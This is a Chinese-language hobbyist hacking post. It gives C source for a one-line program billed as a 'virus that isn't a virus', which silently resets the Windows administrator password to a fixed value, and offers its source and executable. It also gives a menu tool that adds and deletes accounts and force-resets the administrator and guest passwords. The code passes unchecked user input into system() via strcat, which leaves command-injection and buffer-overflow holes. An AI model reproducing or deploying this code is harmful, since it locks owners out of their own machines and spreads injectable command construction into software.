其实这两个东西很简单,就是运用了"system"函数调用DOS中的"net user"命令
简介"net user": 查看一个用户的详细信息:net user *** /*以下的"***"代表用户名,"###"代表密码*/ 添加一个用户 :net user *** /add 删除一个用户 :net user *** /del 更改一个用户的密码 :net user *** ###
这样一来,整个东西就清晰多了.
所以:"不是病毒的病毒"的源代码就相当简单(一句话)
main() { system("net user administrator woshihaichong"); }
这是"不是病毒的病毒"的相关文件(包括:源代码,执行文件,简介)
那好,设计"2000/XP 用户名/密码 终结者"的大概结构与思路相信大家都有点头绪了.
刚开是设计的时候,我就把它定为 2 个部分:功能部分与引导部分.
功能部分就是那七个功能的模块,每个功能都是一个 void 函数,然后在引导体(主函数)中用"switch"调用.
2000/XP 用户名/密码 终结者"的主要函数与思路:
它用了"switch"(界面的选择),"system"(DOS命令的调用),"while(getch()=="")"(按任意键继续),"strcat"(DOS命令的合成).
运用"strcat"来合成命令:(比如添加一个用户的模块) { char syscmd[65]="net user ",name[35],fj[]=" /add",kg[]=" "; /*"fj"是"附加","kg"是"空格","syscmd"是需执行的命令体*/ printf("Name=");scanf("%s",&name);printf("\n"); strcat(syscmd,name);strcat(syscmd,kg);strcat(syscmd,fj); /*用"strcat"把不同的部分合起来,构成最终的"syscmd"*/ system(syscmd);printf("Press Any Key To Continue . . . "); while(getch()==""); }
运用"switch"就不用多说了,另外的函数上面包括了.
"2000/XP 用户名/密码 终结者"源代码: #include <stdio.h> #include <string.h> void lau() /*查看所有用户的函数*/ { system("net user");printf("\n"); printf("Press Any Key To Continue . . . "); while(getch()==""); } void caup() /*改变一个用户密码的函数*/ { char syscmd[80]="net user ",name[35],passwork[25],kg[]=" "; printf("Name="); scanf("%s",&name);printf("\n"); printf("Passwork="); scanf("%s",&passwork);printf("\n"); strcat(syscmd,name);strcat(syscmd,kg);strcat(syscmd,passwork); system(syscmd); printf("Press Any Key To Continue . . . "); while(getch()==""); } void aau() /*添加一个用户的函数*/ { char syscmd[65]="net user ",name[35],fj[]=" /add",kg[]=" "; printf("Name=");scanf("%s",&name);printf("\n"); strcat(syscmd,name);strcat(syscmd,kg);strcat(syscmd,fj); system(syscmd);printf("Press Any Key To Continue . . . "); while(getch()==""); }
void dau() /*删除一个用户的函数*/ { char syscmd[65]="net user ",name[35],fj[]=" /del",kg[]=" "; printf("Name=");scanf("%s",&name);printf("\n"); strcat(syscmd,name);strcat(syscmd,kg);strcat(syscmd,fj); system(syscmd);printf("Press Any Key To Continue . . . "); while(getch()==""); } void ctp() /*改变"匿名"与"来宾"的系统关键帐户的密码的函数*/ { system("net user administrator eyixiugai"); system("net user guest eyixiugai"); printf("The Passwork Has Been Changed.\n\n"); printf("Now, The Passwork is : eyixiugai\n\n"); bu:printf("Press Any Key To Continue . . . "); while(getch()==""); } void laubsd() /*仔细查看的函数*/ { char syscmd[50]="net user ",name[35]; printf("Name=");scanf("%s",&name);printf("\n"); strcat(syscmd,name); system(syscmd); printf("\nPress Any Key To Continue . . . "); while(getch()==""); } void gm() /*介绍自己的函数(那里面还有"bbc.bc-cn.com"呢~!)*/ { printf("\n\nMade By Hackerjiang , QQ:298218699\n\n"); printf("Welcome To bbc.bc-cn.com\n\n"); printf("Press Any Key To Continue . . . "); while(getch()==""); } void main() /*引导体(主函数)*/ { int pd; /*"pd"是"判断"*/ printf("\n\nObject Has Been Strated\n\n"); strat:printf("\n--------------------------------------------------\n"); /*用"goto"循环*/ printf("1:Look All User.\n\n"); printf("2:Change A User Passwork.\n\n"); printf("3:Add A User.\n\n"); printf("4:Del A User.\n\n"); printf("5:Change The Passwork For Administrator/Guest. _Attention_\n\n"); printf("6:Look A User By System Data.\n\n"); printf("7:Goodman\n\n"); printf("What Can I Do For You ? "); printf("\n---------------------------------------------------\n\n"); scanf("%d",&pd); switch(pd) { case 1:lau();break; case 2:caup();break; case 3:aau();break; case 4:dau();break; case 5:ctp();break; case 6:laubsd();break; case 7:gm();break; defualt:break; } goto strat; /*用"goto"循环*/ }
|